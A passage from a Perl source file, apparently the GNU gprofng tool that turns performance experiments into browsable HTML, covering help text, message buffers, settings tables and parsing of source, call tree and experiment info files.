          gp_message (&quot;debug&quot;, $subr_name, $msg);
        }
    }

  return (0)

} #-- End of subroutine parse_dis_files

#------------------------------------------------------------------------------
# Parse the .src.txt files
#------------------------------------------------------------------------------
sub parse_source_files
{
  my $subr_name = get_my_name ();

  my ($number_of_metrics_ref, $function_info_ref, $outputdir_ref) = @_;

  my $number_of_metrics = ${ $number_of_metrics_ref };
  my $outputdir         = ${ $outputdir_ref };
  my $ignore_value;

  my $outputdir_with_slash = append_forward_slash ($outputdir);

  gp_message (&quot;verbose&quot;, $subr_name, &quot;building source files&quot;);

  while (glob ($outputdir_with_slash.&#039;*.src.txt&#039;))
    {
      gp_message (&quot;verbose&quot;, $subr_name, &quot;  Processing source file: $_&quot;);
      gp_message (&quot;debug&quot;, $subr_name, &quot;processing source file: $_&quot;);

      my $found_target = process_source (
                           $number_of_metrics,
                           $function_info_ref,
                           $outputdir_with_slash,
                           $_);

      if (not $found_target)
        {
          gp_message (&quot;debug&quot;, $subr_name, &quot;target function not found&quot;);
        }
    }

} #-- End of subroutine parse_source_files

#------------------------------------------------------------------------------
# Routine to prepend \\ to selected symbols.
#------------------------------------------------------------------------------
sub prepend_backslashes
{
  my $subr_name = get_my_name ();

  my ($target_string) = @_;

  gp_message (&quot;debug&quot;, $subr_name, &quot;target_string on entry  = $target_string&quot;);

  $target_string =~ s/\(/\\\(/g;
  $target_string =~ s/\)/\\\)/g;
  $target_string =~ s/\+/\\\+/g;
  $target_string =~ s/\[/\\\[/g;
  $target_string =~ s/\]/\\\]/g;
  $target_string =~ s/\*/\\\*/g;
  $target_string =~ s/\./\\\./g;
  $target_string =~ s/\$/\\\$/g;
  $target_string =~ s/\^/\\\^/g;
  $target_string =~ s/\#/\\\#/g;

  gp_message (&quot;debug&quot;, $subr_name, &quot;target_string on return = $target_string&quot;);

  return ($target_string);

} #-- End of subroutine prepend_backslashes

#------------------------------------------------------------------------------
# TBD
#------------------------------------------------------------------------------
sub preprocess_function_files
{
  my $subr_name = get_my_name ();

  my ($metric_description_ref, $script_pc_metrics, $input_string, $sort_fields_ref) = @_;

  my $outputdir   = append_forward_slash ($input_string);
  my @sort_fields = @{ $sort_fields_ref };

  my $error_code;
  my $cmd_output;
  my $re;

# TBD  $outputdir .= &quot;/&quot;;

  my %metric_description = %{ $metric_description_ref };

  for my $m (keys %metric_description)
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;metric_description{$m} = $metric_description{$m}&quot;);
    }

  $re = name_regex ($metric_description_ref, $script_pc_metrics, &quot;functions&quot;, $outputdir.&quot;functions.sort.func-PC&quot;);
  ($error_code, $cmd_output) = execute_system_cmd (&quot;echo &#039;$re&#039; &gt; $outputdir&quot;.&quot;functions.sort.func-PC.name-regex&quot;);
  if ($error_code != 0 )
    {
      gp_message (&quot;abort&quot;, $subr_name, &quot;execution terminated&quot;);
    }

  for my $field (@sort_fields)
    {
      $re = name_regex ($metric_description_ref, $script_pc_metrics, $field, $outputdir.&quot;$field.sort.func-PC&quot;);
      ($error_code, $cmd_output) = execute_system_cmd (&quot;echo &#039;$re&#039; &gt; $outputdir&quot;.&quot;$field.sort.func-PC.name-regex&quot;);
      if ($error_code != 0 )
        {
          gp_message (&quot;abort&quot;, $subr_name, &quot;execution terminated&quot;);
        }
    }

  $re = name_regex ($metric_description_ref, $script_pc_metrics, &quot;calls&quot;, $outputdir.&quot;calls.sort.func-PC&quot;);
  ($error_code, $cmd_output) = execute_system_cmd (&quot;echo &#039;$re&#039; &gt; $outputdir&quot;.&quot;calls.sort.func-PC.name-regex&quot;);
  if ($error_code != 0 )
    {
      gp_message (&quot;abort&quot;, $subr_name, &quot;execution terminated&quot;);
    }

  if ($g_user_settings{&quot;calltree&quot;}{&quot;current_value&quot;} eq &quot;on&quot;)
    {
      $re = name_regex ($metric_description_ref, $script_pc_metrics, &quot;calltree&quot;, $outputdir.&quot;calltree.sort.func-PC&quot;);
      ($error_code, $cmd_output) = execute_system_cmd (&quot;echo &#039;$re&#039; &gt; $outputdir&quot;.&quot;calltree.sort.func-PC.name-regex&quot;);
      if ($error_code != 0 )
        {
          gp_message (&quot;abort&quot;, $subr_name, &quot;execution terminated&quot;);
        }
    }

  return (0);

} #-- End of subroutine preprocess_function_files

#------------------------------------------------------------------------------
# Print the original list with the command line options.
#------------------------------------------------------------------------------
sub print_command_line_options
{
  my ($identifier_ref) = @_;

  my $identifier = ${ $identifier_ref };
  my $msg;

  $msg = &quot;The command line options (shown for ease of reference): &quot;;
  printf (&quot;%-9s %s\n&quot;, $identifier, ucfirst ($msg));

  $msg = join (&quot;, &quot;, @CopyOfARGV);
  printf (&quot;%-9s %s\n&quot;, $identifier, $msg);

#  printf (&quot;%-9s\n&quot;, $identifier);

  return (0);

} #-- End of subroutine print_command_line_options

#------------------------------------------------------------------------------
# Print all the errors messages in the buffer.
#------------------------------------------------------------------------------
sub print_errors_buffer
{
  my $subr_name = get_my_name ();

  my ($identifier_ref) = @_;

  my $ignore_value;
  my $msg;
  my $plural_or_single;
  my $identifier = ${ $identifier_ref };

  $plural_or_single = ($g_total_error_count &gt; 1) ? &quot;errors have&quot; : &quot;error has&quot;;

  if (@g_warning_msgs and $g_warnings)
#------------------------------------------------------------------------------
# Make sure that all warnings are printed in case of an error.  This is to
# avoid that warnings get lost in case the program terminates early.
#------------------------------------------------------------------------------
    {
      $ignore_value = print_warnings_buffer ();
    }

  if (not $g_options_printed)
#------------------------------------------------------------------------------
# The options are printed as part of the warnings, so only if the warnings are
# not printed, we need to print them in case of errors.
#------------------------------------------------------------------------------
    {
      $g_options_printed = $TRUE;
      $ignore_value =  print_command_line_options (\$identifier);
    }

  $msg  =  &quot;a total of &quot; . $g_total_error_count;
  $msg .=  &quot; fatal &quot; . $plural_or_single . &quot; been detected:&quot;;
  printf (&quot;%-9s %s\n&quot;, $identifier, ucfirst ($msg));

  for my $key (keys @g_error_msgs)
    {
      $msg = $g_error_msgs[$key];
      printf (&quot;%-11s %s\n&quot;, $identifier, ucfirst ($msg));
    }

  return (0);

} #-- End of subroutine print_errors_buffer

#------------------------------------------------------------------------------
# Print the help overview
#------------------------------------------------------------------------------
sub print_help_info
{
  my $space = &quot; &quot;;

  printf(&quot;%s\n&quot;,
  &quot;Usage: $driver_cmd [OPTION(S)] EXPERIMENT(S)&quot;);
  printf(&quot;\n&quot;);
  printf(&quot;%s\n&quot;,
  &quot;Process one or more experiments to generate a directory containing the&quot;);
  printf(&quot;%s\n&quot;,
  &quot;index.html file that may be used to browse the experiment data.&quot;);
  printf(&quot;\n&quot;);
  printf(&quot;%s\n&quot;,
  &quot;Options:&quot;);
  printf(&quot;\n&quot;);
  #-------Marker line - do not go beyond this line ----------------------------
  print_help_line (&quot;--help&quot;,
  &quot;Print usage information and exit.&quot;);

  #-------Marker line - do not go beyond this line ----------------------------
  print_help_line (&quot;--version&quot;,
  &quot;Print the version number and exit.&quot;);

  #-------Marker line - do not go beyond this line ----------------------------
  print_help_line (&quot;--verbose&quot;,
  &quot;Enable verbose mode to show diagnostic messages about the&quot;);
  print_help_line (&quot;&quot;,
  &quot;processing of the data.  By default verbose mode is disabled.&quot;);

  #-------Marker line - do not go beyond this line ----------------------------
  print_help_line (&quot;-d [&lt;db-vol-size&gt;], --debug[=&lt;db-vol-size&gt;]&quot;,
  &quot;Control the printing of run time debug information to assist with&quot;);
  print_help_line (&quot;&quot;,
  &quot;the troubleshooting, or further development of this tool.&quot;);
  print_help_line (&quot;&quot;,
  &quot;The &lt;db-vol-size&gt; parameter controls the output volume and is&quot;);
  print_help_line (&quot;&quot;,
  &quot;one from the list {s | S | m | M | l | L | xl | XL}.&quot;);
  print_help_line (&quot;&quot;,
  &quot;If db-vol-size is not specified, a modest amount of information&quot;);
  print_help_line (&quot;&quot;,
  &quot;is printed.  This is equivalent to select size s, or S. The&quot;);
  print_help_line (&quot;&quot;,
  &quot;volume of data goes up as the size increases.  Note that&quot;);
  print_help_line (&quot;&quot;,
  &quot;currently l/L is  equivalent to xl/XL, but this is expected to&quot;);
  print_help_line (&quot;&quot;,
  &quot;change in future updates.  By default debug mode is disabled.&quot;);

  #-------Marker line - do not go beyond this line ----------------------------
  print_help_line (&quot;--highlight-percentage=&lt;value&gt;&quot;,
  &quot;A percentage value in the interval [0,100] to select and color&quot;);
  print_help_line (&quot;&quot;,
  &quot;code source lines, as well as instructions, that are within this&quot;);
  print_help_line (&quot;&quot;,
  &quot;percentage of the maximum metric value(s).  A value of zero&quot;);
  print_help_line (&quot;&quot;,
  &quot;disables this feature.  The default value is 90 (%).&quot;);

  #-------Marker line - do not go beyond this line ----------------------------
  print_help_line (&quot;-o &lt;dirname&gt;, --output=&lt;dirname&gt;&quot;,
  &quot;Use &lt;dirname&gt; as the directory name to store the results in.&quot;);
  print_help_line (&quot;&quot;,
  &quot;In absence of this option, the default name is display.&lt;n&gt;.html.&quot;);
  print_help_line (&quot;&quot;,
  &quot;This directory is created in the current directory.  The number&quot;);
  print_help_line (&quot;&quot;,
  &quot;&lt;n&gt; is the first positive integer number not in use in this&quot;);
  print_help_line (&quot;&quot;,
  &quot;naming scheme.  An existing directory with the same name is not&quot;);
  print_help_line (&quot;&quot;,
  &quot;overwritten.  Make sure that umask is set to the correct access&quot;);
  print_help_line (&quot;&quot;,
  &quot;permissions.&quot;);

  #-------Marker line - do not go beyond this line --------------------------
  print_help_line (&quot;-O &lt;dirname&gt;, --overwrite=&lt;dirname&gt;&quot;,
  &quot;Use &lt;dirname&gt; as the directory name to store the results in.&quot;);
  print_help_line (&quot;&quot;,
  &quot;In absence of this option, the default name is display.&lt;n&gt;.html.&quot;);
  print_help_line (&quot;&quot;,
  &quot;This directory is created in the current directory.  The number&quot;);
  print_help_line (&quot;&quot;,
  &quot;&lt;n&gt; is the first positive integer number not in use in this&quot;);
  print_help_line (&quot;&quot;,
  &quot;naming scheme.  An existing directory with the same name is&quot;);
  print_help_line (&quot;&quot;,
  &quot;silently overwritten.  Make sure that umask is set to the&quot;);
  print_help_line (&quot;&quot;,
  &quot;correct access permissions.&quot;);

  #-------Marker line - do not go beyond this line --------------------------
  print_help_line (&quot;-q, --quiet&quot;,
  &quot;Disable the display of all warning, debug, verbose and any&quot;);
  print_help_line (&quot;&quot;,
  &quot;other messages.  If enabled, the settings for verbose and debug&quot;);
  print_help_line (&quot;&quot;,
  &quot;are accepted, but ignored.  With this option, there is no screen&quot;);
  print_help_line (&quot;&quot;,
  &quot;output, other than errors.  By default quiet mode is disabled&quot;);

  #-------Marker line - do not go beyond this line --------------------------
  print_help_line (&quot;--nowarnings&quot;,
  &quot;Disable the printing of warning messages on stdout.  By default&quot;);
  print_help_line (&quot;&quot;,
  &quot;warning messages are printed.&quot;);

  #-------Marker line - do not go beyond this line --------------------------
  printf(&quot;\n&quot;);
  printf (&quot;%s\n&quot;,&quot;Report bugs to &lt;https://sourceware.org/bugzilla/&gt;&quot;);

  return (0);

} #-- End of subroutine print_help_info

#------------------------------------------------------------------------------
# Print a single line as part of the help output.
#
# If the first item is not the empty string, it is considered to be the
# option.  If the length of the option exceeds the limit set by $max_space,
# it is printed by itself and the text is printed on the next line.  Otherwise
# the text follows the option.
#
# To assist with the development of the help text, we check if the total length
# of the line exceeds the max numbers of columns (79 according to the GNU
# coding standards).
#------------------------------------------------------------------------------
sub print_help_line
{
  my $subr_name = get_my_name ();

  my ($item, $help_text) = @_;

  my $length_item = length ($item);
  my $max_col = 79;
  my $max_space = 14;
  my $no_of_spaces;
  my $pad;
  my $space = &quot; &quot;;
  my $the_message;

  if ($length_item &gt; $max_col)
    {
      printf (&quot;Error: $item is $length_item long - exceeds $max_col\n&quot;);
      exit (0);
    }
  elsif ( $length_item == 0 )
    {
      $no_of_spaces = $max_space;

      $pad = &quot;&quot;;
      for my $i (1..$no_of_spaces)
        {
          $pad .= $space;
        }
      $the_message = $pad . $help_text;
    }
  else
    {
    if ($length_item &lt; $max_space)
      {
        $no_of_spaces = $max_space - length ($item);
        $pad = &quot;&quot;;
        for my $i (1..$no_of_spaces)
          {
            $pad .= $space;
          }
        $the_message = $item . $pad . $help_text;
      }
    else
      {
        $pad = &quot;&quot;;
        for my $i (1..$max_space)
          {
            $pad .= $space;
          }
        printf(&quot;%s\n&quot;, $item);
        $the_message = $pad . $help_text;
      }
    }

  if (length ($the_message) &lt;= $max_col)
    {
      printf (&quot;%s\n&quot;, $the_message);
    }
  else
    {
      my $delta = length ($the_message) - $max_col;
      printf (&quot;%s\n&quot;, &quot;$the_message - exceeds $max_col by $delta&quot;);
      exit (0);
    }


  return (0);

} #-- End of subroutine print_help_line

#------------------------------------------------------------------------------
# Print the meta data for each experiment directory.
#------------------------------------------------------------------------------
sub print_meta_data_experiments
{
  my $subr_name = get_my_name ();

  my ($mode) = @_;

  for my $exp (sort keys %g_exp_dir_meta_data)
    {
      for my $meta (sort keys %{$g_exp_dir_meta_data{$exp}})
        {
          gp_message ($mode, $subr_name, &quot;$exp =&gt; $meta = $g_exp_dir_meta_data{$exp}{$meta}&quot;);
        }
    }

  return (0);

} #-- End of subroutine print_meta_data_experiments

#------------------------------------------------------------------------------
# Brute force subroutine that prints the contents of a structure with function
# level information.  This version is for a top level array structure,
# followed by a hash.
#------------------------------------------------------------------------------
sub print_metric_function_array
{
  my $subr_name = get_my_name ();

  my ($metric, $struct_type_name, $target_structure_ref) = @_;

  my @target_structure = @{$target_structure_ref};

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;contents of structure &quot;.$struct_type_name.&quot;{&quot;.$metric.&quot;}:&quot;);

  for my $fields (sort keys @target_structure)
    {
          for my $elems (sort keys % {$target_structure[$fields]})
            {
              my $msg = $struct_type_name.&quot;{$metric}[$fields]{$elems} = &quot;;
              $msg   .= $target_structure[$fields]{$elems};
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);
            }
    }

  return (0);

} #-- End of subroutine print_metric_function_array

#------------------------------------------------------------------------------
# Brute force subroutine that prints the contents of a structure with function
# level information.  This version is for a top level hash structure.  The
# next level may be another hash, or an array.
#------------------------------------------------------------------------------
sub print_metric_function_hash
{
  my $subr_name = get_my_name ();

  my ($sub_struct_type, $metric, $struct_type_name, $target_structure_ref) = @_;

  my %target_structure = %{$target_structure_ref};

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;contents of structure &quot;.$struct_type_name.&quot;{&quot;.$metric.&quot;}:&quot;);

  for my $fields (sort keys %target_structure)
    {
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;metric = $metric fields = $fields&quot;);
      if ($sub_struct_type eq &quot;hash_hash&quot;)
        {
          for my $elems (sort keys %{$target_structure{$fields}})
            {
              my $txt = $struct_type_name.&quot;{$metric}{$fields}{$elems} = &quot;;
              $txt   .= $target_structure{$fields}{$elems};
              gp_message (&quot;debugXL&quot;, $subr_name, $txt);
            }
        }
      elsif ($sub_struct_type eq &quot;hash_array&quot;)
        {
          my $values = &quot;&quot;;
          for my $elems (sort keys @{$target_structure{$fields}})
            {
              $values .= &quot;$target_structure{$fields}[$elems] &quot;;
            }
          gp_message (&quot;debugXL&quot;, $subr_name, $struct_type_name.&quot;{$metric}{$fields} = $values&quot;);
        }
      else
        {
          my $msg = &quot;sub-structure type &#039;$sub_struct_type&#039; is not supported&quot;;
          gp_message (&quot;assertion&quot;, $subr_name, $msg);
        }
    }
 
  return (0);

} #-- End of subroutine print_metric_function_hash

#------------------------------------------------------------------------------
# Print the opening message.
#------------------------------------------------------------------------------
sub print_opening_message
{
  my $subr_name = get_my_name ();
#------------------------------------------------------------------------------
# Since the second argument is an array, we pass it in by reference.  The
# alternative is to make it the last argument.
#------------------------------------------------------------------------------
  my ($outputdir, $exp_dir_list_ref, $time_percentage_multiplier) = @_;

  my @exp_dir_list = @{$exp_dir_list_ref};

  my $msg;
  my $no_of_dirs = scalar (@exp_dir_list);
#------------------------------------------------------------------------------
# Build a comma separated list with all directory names.  If there is only one
# entry, the leading comma will not be inserted.
#------------------------------------------------------------------------------
  my $dir_list   = join (&quot;, &quot;, @exp_dir_list);

#------------------------------------------------------------------------------
# If there are at least two entries, find the last comma and replace it by
# &quot; and&quot;.  Note that we know there is at least one comma, so the value
# returned by rindex () cannot be -1.
#------------------------------------------------------------------------------
  if ($no_of_dirs &gt; 1)
    {
      my $last_comma   = rindex ($dir_list, &quot;,&quot;);
      my $ignore_value = substr ($dir_list, $last_comma, 1, &quot; and&quot;);
    }
  $msg = &quot;start $tool_name, generating directory $outputdir from $dir_list&quot;;

  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  if ($time_percentage_multiplier &lt; 1.0)
    {
      $msg = &quot;Handle at least &quot;;
    }
  else
    {
      $msg = &quot;Handle &quot;;
    }

  $msg .= ($time_percentage_multiplier*100.0).&quot;% of the time&quot;;
 
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

} #-- End of subroutine print_opening_message

#------------------------------------------------------------------------------
# TBD.
#------------------------------------------------------------------------------
sub print_program_header
{
  my $subr_name = get_my_name ();

  my ($mode, $tool_name, $binutils_version) = @_;

  my $header_limit = 60;
  my $dashes = &quot;-&quot;;

#------------------------------------------------------------------------------
# Generate the dashed line
#------------------------------------------------------------------------------
  for (2 .. $header_limit)
    {
      $dashes .= &quot;-&quot;;
    }

    gp_message ($mode, $subr_name, $dashes);
    gp_message ($mode, $subr_name, &quot;Tool name: $tool_name&quot;);
    gp_message ($mode, $subr_name, &quot;Version  : $binutils_version&quot;);
    gp_message ($mode, $subr_name, &quot;Date     : &quot; . localtime ());
    gp_message ($mode, $subr_name, $dashes);

} #-- End of subroutine print_program_header

#------------------------------------------------------------------------------
# Print a comment string, followed by the values of the options. The list
# with the keywords is sorted alphabetically.
#
# The value stored in $mode is passed on to gp_message ().  The intended use
# for this is to call this function in verbose and/or debug mode.
#
# The comment string is converted to uppercase.
#
# In case the length of the comment exceeds the length of the dashed line,
# the comment line is allowed to stick out to the right.
#
# If the length of the comment is less than the dashed line, it is centered
# relative to the # length of the dashed line.

# If the length of the comment and this line do not divide, an extra space is
# added to the left of the comment.
#
# For example, if the comment is 55 long, there are 5 spaces to be distributed.
# There will be 3 spaces, followed by the comment.
#------------------------------------------------------------------------------
sub print_table_user_settings
{
  my $subr_name = get_my_name ();

  my ($mode, $comment) = @_;

  my $data_type;
  my $debug_size_value = $g_user_settings{&quot;debug&quot;}{&quot;current_value&quot;};
  my $db_size;
  my $defined;
  my $keyword;
  my $leftover;
  my $padding;
  my $user_option;
  my $value;

  my $HEADER_LIMIT = 79;
  my $header = sprintf (&quot;%-20s   %-22s   %8s   %s&quot;,
                        &quot;keyword&quot;, &quot;option&quot;, &quot;user set&quot;, &quot;internal value&quot;);

#------------------------------------------------------------------------------
# Generate the dashed line
#------------------------------------------------------------------------------
  my $dashes = &quot;-&quot;;
  for (2 .. $HEADER_LIMIT)
    {
      $dashes .= &quot;-&quot;;
    }

#------------------------------------------------------------------------------
# Determine the padding needed to the left of the comment.
#------------------------------------------------------------------------------
  my $length_comment = length ($comment);

  $leftover = $length_comment%2;

  if ($length_comment &lt;= ($HEADER_LIMIT-2))
    {
      $padding = ($HEADER_LIMIT - $length_comment + $leftover)/2;
    }
  else
    {
      $padding = 0;
    }
 
#------------------------------------------------------------------------------
# Generate the first blank part of the line.
#------------------------------------------------------------------------------
  my $blank_line = &quot;&quot;;
  for (1 .. $padding)
    {
      $blank_line .= &quot; &quot;;
    }

#------------------------------------------------------------------------------
# Add the comment line with the first letter in uppercase.
#------------------------------------------------------------------------------
  my $final_comment = $blank_line.ucfirst ($comment);

  gp_message ($mode, $subr_name, $dashes);
  gp_message ($mode, $subr_name, $final_comment);
  gp_message ($mode, $subr_name, $dashes);
  gp_message ($mode, $subr_name, $header);
  gp_message ($mode, $subr_name, $dashes);

#------------------------------------------------------------------------------
# Print a line for each option. The list is sorted alphabetically.
#------------------------------------------------------------------------------
  for my $key  (sort keys %g_user_settings)
    {
      $keyword     = $key;
      $user_option = $g_user_settings{$key}{&quot;option&quot;};
      $defined     = ($g_user_settings{$key}{&quot;defined&quot;} ? &quot;set&quot; : &quot;not set&quot;);
      $data_type   = $g_user_settings{$key}{&quot;data_type&quot;};

      if (defined ($g_user_settings{$key}{&quot;current_value&quot;}))
        {
          $value = $g_user_settings{$key}{&quot;current_value&quot;};
          if ($data_type eq &quot;boolean&quot;)
            {
              $value = $value ? &quot;on&quot; : &quot;off&quot;;
            }
#------------------------------------------------------------------------------
# In case of the debug option, we add the &quot;(size)&quot; string to remind the user
# that this is the size.
#------------------------------------------------------------------------------
          if ($key eq &quot;debug&quot;)
            {
              $db_size = ($debug_size_value eq &quot;on&quot;) ? &quot;s&quot; : $debug_size_value;
              $value = $db_size . &quot; (size)&quot;;
            }
        }
      else
        {
          $value = &quot;undefined&quot;;
        }

      my $print_line = sprintf (&quot;%-20s   %-22s   %8s   %s&quot;,
                                $keyword, $user_option, $defined, $value);

      gp_message ($mode, $subr_name, $print_line);
    }
} #-- End of subroutine print_table_user_settings

#------------------------------------------------------------------------------
# Dump the contents of nested hash &quot;g_user_settings&quot;.  Some simple formatting
# is applied to make it easier to distinguish the various values.
#------------------------------------------------------------------------------
sub print_user_settings
{
  my $subr_name = get_my_name ();

  my ($mode, $comment) = @_;

  my $keyword_value_pair;

  gp_message ($mode, $subr_name, $comment);

  for my $key (keys %g_user_settings)
    {
      my $print_line = sprintf (&quot;%-20s =&gt;&quot;, $key);
      for my $fields (sort keys %{ $g_user_settings{$key} })
        {
          if (defined ($g_user_settings{$key}{$fields}))
            {
              $keyword_value_pair = $fields.&quot; = &quot;.$g_user_settings{$key}{$fields};
            }
          else
            {
              $keyword_value_pair = $fields.&quot; = &quot;. &quot;undefined&quot;;
            }
           $print_line = join (&quot;  &quot;, $print_line, $keyword_value_pair);
        }
        gp_message ($mode, $subr_name, $print_line);
    }
} #-- End of subroutine print_user_settings

#------------------------------------------------------------------------------
# Print the version number and license information.
#------------------------------------------------------------------------------
sub print_version_info
{
  print &quot;$version_info\n&quot;;
  print &quot;Copyright (C) 2023 Free Software Foundation, Inc.\n&quot;;
  print &quot;License GPLv3+: GNU GPL version 3 or later &lt;https://gnu.org/licenses/gpl.html&gt;.\n&quot;;
  print &quot;This is free software: you are free to change and redistribute it.\n&quot;;
  print &quot;There is NO WARRANTY, to the extent permitted by law.\n&quot;;

  return (0);

} #-- End of subroutine print_version_info

#------------------------------------------------------------------------------
# Dump all the warning messages in the buffer.
#------------------------------------------------------------------------------
sub print_warnings_buffer
{
  my $subr_name = get_my_name ();

  my $ignore_value;
  my $msg;

  if (not $g_options_printed)
#------------------------------------------------------------------------------
# Only if the options have not yet been printed, print them.
#------------------------------------------------------------------------------
    {
      $g_options_printed = $TRUE;
      $ignore_value = print_command_line_options (\$g_warn_keyword);
    }

  for my $i (keys @g_warning_msgs)
    {
      $msg = $g_warning_msgs[$i];
      if ($msg =~ /^$g_html_new_line/)
        {
          $msg =~ s/$g_html_new_line//;
          printf (&quot;%-9s\n&quot;, $g_warn_keyword);
        }
      printf (&quot;%-9s %s\n&quot;, $g_warn_keyword, ucfirst ($msg));
    }

  return (0);

} #-- End of subroutine print_warnings_buffer

#------------------------------------------------------------------------------
# Process the call tree input data and generate HTML output.
#------------------------------------------------------------------------------
sub process_calltree
{
  my $subr_name = get_my_name ();

  my ($function_info_ref, $function_address_info_ref, $addressobjtextm_ref,
       $input_string) = @_;

  my @function_info         = @{ $function_info_ref };
  my %function_address_info = %{ $function_address_info_ref };
  my %addressobjtextm       = %{ $addressobjtextm_ref };

  my $outputdir = append_forward_slash ($input_string);

  my @call_tree_data = ();

  my $LANG              = $g_locale_settings{&quot;LANG&quot;};
  my $decimal_separator = $g_locale_settings{&quot;decimal_separator&quot;};

  my $infile  = $outputdir . &quot;calltree&quot;;
  my $outfile = $outputdir . &quot;calltree.html&quot;;

  open (CALL_TREE_IN, &quot;&lt;&quot;, $infile)
    or die (&quot;Not able to open calltree file $infile for reading - &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $infile for reading&quot;);

  open (CALL_TREE_OUT, &quot;&gt;&quot;, $outfile)
    or die (&quot;Not able to open $outfile for writing - &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $outfile for writing&quot;);

  gp_message (&quot;debug&quot;, $subr_name, &quot;building calltree file $outfile&quot;);

#------------------------------------------------------------------------------
# The directory name is potentially used below, but since it is a constant,
# we get it here and only once.
#------------------------------------------------------------------------------
#  my ($ignore_file_name, $directory_name, $ignore_suffix) = fileparse ($infile,&quot;&quot;);
#  gp_message (&quot;debug&quot;, $subr_name, &quot;directory_name = $directory_name&quot;);

#------------------------------------------------------------------------------
# Generate some of the structures used in the HTML output.
#------------------------------------------------------------------------------
  my $file_title      = &quot;Call Tree overview&quot;;
  my $html_header     = ${ create_html_header (\$file_title) };
  my $html_home_right = ${ generate_home_link (&quot;right&quot;) };

  my $page_title    = &quot;Call Tree View&quot;;
  my $size_text     = &quot;h2&quot;;
  my $position_text = &quot;center&quot;;
  my $html_title_header = ${ generate_a_header (
                            \$page_title,
                            \$size_text,
                            \$position_text) };

#------------------------------------------------------------------------------
# Get the acknowledgement, return to main link, and final html statements.
#------------------------------------------------------------------------------
  my $html_home_left       = ${ generate_home_link (&quot;left&quot;) };
  my $html_acknowledgement = ${ create_html_credits () };
  my $html_end             = ${ terminate_html_document () };

#------------------------------------------------------------------------------
# Read all of the file into array with the name call_tree_data.
#------------------------------------------------------------------------------
  chomp (@call_tree_data = &lt;CALL_TREE_IN&gt;);
  close (CALL_TREE_IN);

#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
# Process the data here and generate the HTML lines.
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Print the top part of the HTML file.
#------------------------------------------------------------------------------
  print CALL_TREE_OUT $html_header;
  print CALL_TREE_OUT $html_home_right;
  print CALL_TREE_OUT $html_title_header;

#------------------------------------------------------------------------------
# Print the generated HTML structures here.
#------------------------------------------------------------------------------
##  print CALL_TREE_OUT &quot;$_&quot; for @whatever;
##  print CALL_TREE_OUT &quot;&lt;pre&gt;\n&quot;;
##  print CALL_TREE_OUT &quot;$_\n&quot; for @whatever2;
##  print CALL_TREE_OUT &quot;&lt;/pre&gt;\n&quot;;

#------------------------------------------------------------------------------
# Print the last part of the HTML file.
#------------------------------------------------------------------------------
  print CALL_TREE_OUT $html_home_left;
  print CALL_TREE_OUT &quot;&lt;br&gt;\n&quot;;
  print CALL_TREE_OUT $html_acknowledgement;
  print CALL_TREE_OUT $html_end;

  close (CALL_TREE_OUT);

  return (0);

} #-- End of subroutine process_calltree

#------------------------------------------------------------------------------
# Process the generated experiment info file(s).
#------------------------------------------------------------------------------
sub process_experiment_info
{
  my $subr_name = get_my_name ();

  my ($experiment_data_ref) = @_;

  my @exp_info;
  my @experiment_data = @{ $experiment_data_ref };

  my $exp_id;
  my $exp_name;
  my $exp_data_file;
  my $input_line;
  my $target_cmd;
  my $hostname ;
  my $OS;
  my $page_size;
  my $architecture;
  my $start_date;
  my $end_experiment;
  my $data_collection_duration;
  my $total_thread_time;
  my $user_cpu_time;
  my $user_cpu_percentage;
  my $system_cpu_time;
  my $system_cpu_percentage;
  my $sleep_time;
  my $sleep_percentage;

#------------------------------------------------------------------------------
# Define the regular expressions used to capture the info.
#------------------------------------------------------------------------------
# Target command (64-bit): &#039;./../bindir/mxv-pthreads.exe -m 3000 -n 2000 -t 2&#039;

  my $target_cmd_regex = &#039;\s*Target command\s+(\(.+\)):\s+\&#039;(.+)\&#039;&#039;;

# Host `ruudvan-vm-haswell-2-20210609&#039;, OS `Linux 5.4.17-2102.202.5.el8uek.x86_64&#039;, page size 4096, architecture `x86_64&#039;

  my $host_system_regex = &#039;\s*Host\s+\`(.+)\&#039;,\s+OS\s+\`(.+)\&#039;,\s+page size\s+(\d+),\s+architecture\s+\`(.+)\&#039;&#039;;

# Experiment started Mon Aug 30 13:03:20 2021

  my $start_date_regex = &#039;\s*Experiment started\s+(.+)&#039;;

# Experiment Ended: 1.812441219

  my $end_experiment_regex = &#039;\s*Experiment Ended:\s+(.+)&#039;;

# Data Collection Duration: 1.812441219

  my $data_collection_duration_regex = &#039;\s*Data Collection Duration:\s+(.+)&#039;;

#                           Total Thread Time (sec.): 1.812

  my $total_thread_time_regex = &#039;\s*Total Thread Time (sec.):\s+(.+)&#039;;

#                                          User CPU: 1.685 ( 95.0%)

  my $user_cpu_regex = &#039;\s*User CPU:\s+(.+)\s+\(\s*(.+)\)&#039;;

#                                        System CPU: 0.088 (  5.0%)

  my $system_cpu_regex = &#039;\s*System CPU:\s+(.+)\s+\(\s*(.+)\)&#039;;

#                                             Sleep: 0.    (  0. %)

  my $sleep_regex = &#039;\s*Sleep:\s+(.+)\s+\(\s*(.+)\)&#039;;

#------------------------------------------------------------------------------
# Scan the experiment data and select the info of interest.
#------------------------------------------------------------------------------
  for my $i (sort keys @experiment_data)
    {
      $exp_id        = $experiment_data[$i]{&quot;exp_id&quot;};
      $exp_name      = $experiment_data[$i]{&quot;exp_name_full&quot;};
      $exp_data_file = $experiment_data[$i]{&quot;exp_data_file&quot;};

      my $msg = &quot;exp_id = $exp_id name = $exp_name file = $exp_data_file&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);

      open (EXPERIMENT_INFO, &quot;&lt;&quot;, $exp_data_file)
        or die (&quot;$subr_name - unable to open file $exp_data_file for reading &#039;$!&#039;&quot;);
      gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $exp_data_file for reading&quot;);

      chomp (@exp_info = &lt;EXPERIMENT_INFO&gt;);

#------------------------------------------------------------------------------
# Process the info for the current experiment.
#------------------------------------------------------------------------------
